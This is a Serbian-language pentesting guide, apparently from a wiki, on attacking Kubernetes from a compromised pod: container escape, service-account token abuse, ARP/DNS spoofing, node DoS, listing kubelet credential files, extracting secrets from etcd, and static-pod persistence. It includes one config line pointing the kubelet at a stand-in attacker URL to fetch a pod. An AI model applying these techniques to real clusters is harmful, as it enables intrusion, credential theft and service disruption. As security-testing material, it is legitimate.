Attacking Kubernetes from inside a Pod
Izlazak iz kontejnera
Ako imate dovoljno sreće, možda ćete moći da pobegnete iz njega na čvor:
Bekstvo iz kontejnera
Da biste pokušali da pobegnete iz kontejnera, možda ćete prvo morati da dignete privilegije, neke tehnike za to su:
Možete proveriti ove docker bekstva da biste pokušali da pobegnete iz kontejnera koji ste kompromitovali:
Zloupotreba Kubernetes privilegija
Kao što je objašnjeno u delu o enumeraciji kubernetes-a:
pageKubernetes EnumerationObično se kontejneri pokreću sa tokenom servisnog naloga unutar njih. Ovaj servisni nalog može imati neke privilegije pridružene koje biste mogli zloupotrebiti da biste se pomerili ka drugim kontejnerima ili čak da pobegnete na čvorove konfigurisane unutar klastera. Pogledajte kako u:
pageAbusing Roles/ClusterRoles in KubernetesZloupotreba Cloud privilegija
Ako se kontejner pokreće unutar oblak okruženja, možda ćete moći da procurete token sa metapodatkovnog endpointa i dignete privilegije koristeći ga.
Pretraga ranjivih mrežnih servisa
Kako ste unutar Kubernetes okruženja, ako ne možete da dignete privilegije zloupotrebom trenutnih privilegija kontejnera i ne možete da pobegnete iz kontejnera, trebalo bi da pretražite potencijalno ranjive servise.
Servisi
Za tu svrhu, možete pokušati da dobijete sve servise Kubernetes okruženja:
Podrazumevano, Kubernetes koristi ravnu mrežnu šemu, što znači da bilo koji pod/servis unutar klastera može komunicirati sa drugima. Prostori imena unutar klastera podrazumevano nemaju ograničenja mrežne sigurnosti. Bilo ko u prostoru imena može komunicirati sa drugim prostorima imena.
Skeniranje
Sledeći Bash skript (preuzet sa Kubernetes radionice) će instalirati i skenirati IP opsege kubernetes klastera:
Pogledajte sledeću stranicu da biste saznali kako biste mogli napasti specifične usluge Kubernetes-a da biste ugrozili druge podove/ceo okruženje:
pagePentesting Kubernetes ServicesSnifovanje
U slučaju da kompromitovani pod pokreće neku osetljivu uslugu gde drugi podovi treba da se autentifikuju, možda ćete moći da dobijete pristupnim podacima poslatim iz drugih podova snifovanjem lokalnih komunikacija.
Mrežno falsifikovanje
Podrazumevano, tehnike poput ARP falsifikovanja (i zahvaljujući tome DNS falsifikovanje) funkcionišu u Kubernetes mreži. Zatim, unutar poda, ako imate NET_RAW sposobnost (koja je podrazumevano dostupna), moći ćete da šaljete prilagođene mrežne pakete i izvodite MitM napade putem ARP falsifikovanja na sve podove koji se izvršavaju na istom čvoru. Osim toga, ako zlonamerni pod radi na istom čvoru kao DNS server, moći ćete da izvedete DNS falsifikovanje napad na sve podove u klasteru.
pageKubernetes Network AttacksNode DoS
Ne postoji specifikacija resursa u manifestima Kubernetes-a i nema primenjenih granica za limite kontejnera. Kao napadač, možemo iskoristiti sve resurse gde se pokreće pod/deployment i iscrpiti druge resurse i izazvati DoS za okruženje.
Ovo se može uraditi pomoću alata poput stress-ng:
Možete primetiti razliku dok se izvršava stress-ng
i nakon toga
Post-eksploatacija čvora
Ako ste uspeli da pobegnete iz kontejnera, pronaći ćete neke zanimljive stvari u čvoru:
Proces Container Runtime (Docker)
Više pods/kontejnera koji se izvršavaju u čvoru koje možete zloupotrebiti poput ovog (više tokena)
Ceo fajl sistem i OS uopšteno
Servis Kube-Proxy koji osluškuje
Servis Kubelet koji osluškuje. Proverite konfiguracione fajlove:
Direktorijum:
/var/lib/kubelet/
/var/lib/kubelet/kubeconfig
/var/lib/kubelet/kubelet.conf
/var/lib/kubelet/config.yaml
/var/lib/kubelet/kubeadm-flags.env
/etc/kubernetes/kubelet-kubeconfig
Ostali uobičajeni fajlovi kubernetesa:
$HOME/.kube/config
- Korisnička konfiguracija/etc/kubernetes/kubelet.conf
- Redovna konfiguracija/etc/kubernetes/bootstrap-kubelet.conf
- Bootstrap konfiguracija/etc/kubernetes/manifests/etcd.yaml
- etcd Konfiguracija/etc/kubernetes/pki
- Ključevi Kubernetesa
Pronalaženje kubeconfig fajla čvora
Ako ne možete pronaći kubeconfig fajl u jednom od prethodno navedenih putanja, proverite argument --kubeconfig
procesa kubeleta:
Ukradi Tajne
Skripta can-they.sh automatski će dobiti tokene drugih podova i proveriti da li imaju dozvole koje tražite (umesto da sami tražite jedan po jedan):
Privilegovani DaemonSetovi
DaemonSet je pod koji će se izvršavati na svim čvorovima klastera. Stoga, ako je DaemonSet konfigurisan sa privilegovanim servisnim nalogom, na SVIM čvorovima moći ćete pronaći token tog privilegovanog servisnog naloga koji biste mogli zloupotrebiti.
Eksploatacija je ista kao u prethodnom odeljku, ali sada ne zavisi od sreće.
Pivoting ka Oblaku
Ako je klaster upravljan uslugom u oblaku, obično će čvor imati drugačiji pristup metapodacima nego Pod. Stoga, pokušajte pristupiti metapodacima sa čvora (ili iz poda sa hostNetwork na True):
pageKubernetes Pivoting to CloudsUkradi etcd
Ako možete specificirati nodeName čvora koji će pokrenuti kontejner, dobijte shell unutar čvora kontrolne ravni i preuzmite etcd bazu podataka:
control-plane čvorovi imaju ulogu master i u upravljanim cloud klasterima nećete moći pokrenuti ništa na njima.
Čitanje tajni iz etcd
Ako možete pokrenuti svoj pod na control-plane čvoru koristeći selektor nodeName
u specifikaciji poda, možda ćete imati jednostavan pristup etcd
bazi podataka, koja sadrži sve konfiguracije klastera, uključujući sve tajne.
Ispod je brz i prljav način za dobijanje tajni iz etcd
ako se pokreće na control-plane čvoru na kojem se nalazite. Ako želite elegantnije rešenje koje pokreće pod sa etcd
klijentskim alatom etcdctl
i koristi akreditive control-plane čvora za povezivanje sa etcd gde god se pokreće, pogledajte ovaj primer manifesta od @mauilion.
Proverite da li se etcd
pokreće na control-plane čvoru i vidite gde se baza podataka nalazi (Ovo je na kubeadm
kreiranom klasteru)
Pregledajte podatke u etcd bazi podataka:
Izvucite tokene iz baze podataka i prikažite ime servisnog naloga
Ista komanda, ali sa dodatim grep-ovima kako bi se vratili samo podaci o podrazumevanom token-u u kube-system namespace-u
Statička/Reflektovana Perzistencija Podova
Statički Podovi se upravljaju direktno od strane kubelet demona na određenom čvoru, bez nadgledanja API servera. Za razliku od Podova koji su upravljani od strane kontrolne ravni (na primer, Deployment); umesto toga, kubelet posmatra svaki statički Pod (i ponovo ga pokreće ako ne uspe).
Stoga, statički Podovi su uvek vezani za jedan Kubelet na određenom čvoru.
Kubelet automatski pokušava da kreira reflektovani Pod na Kubernetes API serveru za svaki statički Pod. To znači da su Podovi koji se izvršavaju na čvoru vidljivi na API serveru, ali ih ne možete kontrolisati odatle. Imena Podova će biti sufiksirana sa imenom čvora sa vodećim crticom.
spec
statičkog Pod-a ne može se odnositi na druge API objekte (npr. ServiceAccount, ConfigMap, Secret, itd. Dakle, ne možete zloupotrebiti ovu ponašanje da biste pokrenuli pod sa proizvoljnim serviceAccount-om na trenutnom čvoru kako biste ugrozili klaster. Ali to možete koristiti da biste pokrenuli podove u različitim namespace-ovima (ako je to korisno iz nekog razloga).
Ako se nalazite unutar čvora, možete ga naterati da kreira statički pod unutar samog sebe. Ovo je prilično korisno jer vam može omogućiti da kreirate pod u drugom namespace-u poput kube-system.
Da biste kreirali statički pod, dokumentacija je od velike pomoći. U osnovi vam je potrebno 2 stvari:
Konfigurišite parametar
--pod-manifest-path=/etc/kubernetes/manifests
u kubelet servisu, ili u kubelet konfiguraciji (staticPodPath) i restartujte servisKreirajte definiciju na definiciji poda u
/etc/kubernetes/manifests
Još jedan diskretniji način bi bio:
Modifikujte parametar
staticPodURL
iz kubelet konfiguracione datoteke i postavite nešto poputstaticPodURL: http://napadac.com:8765/pod.yaml
. To će naterati kubelet proces da kreira statički pod dobijajući konfiguraciju sa naznačenog URL-a.
Primer konfiguracije poda za kreiranje privilegovanog poda u kube-system preuzet sa ovde:
Brisanje podova + čvorova koji nisu u mogućnosti da se izvrše
Ako je napadač kompromitovao čvor i može brisati podove sa drugih čvorova i onemogućiti druge čvorove da izvrše podove, podovi će biti ponovo pokrenuti na kompromitovanom čvoru i on će moći ukrasti token koji se izvršava u njima. Za više informacija pratite ove linkove.
Automatski Alati
Last updated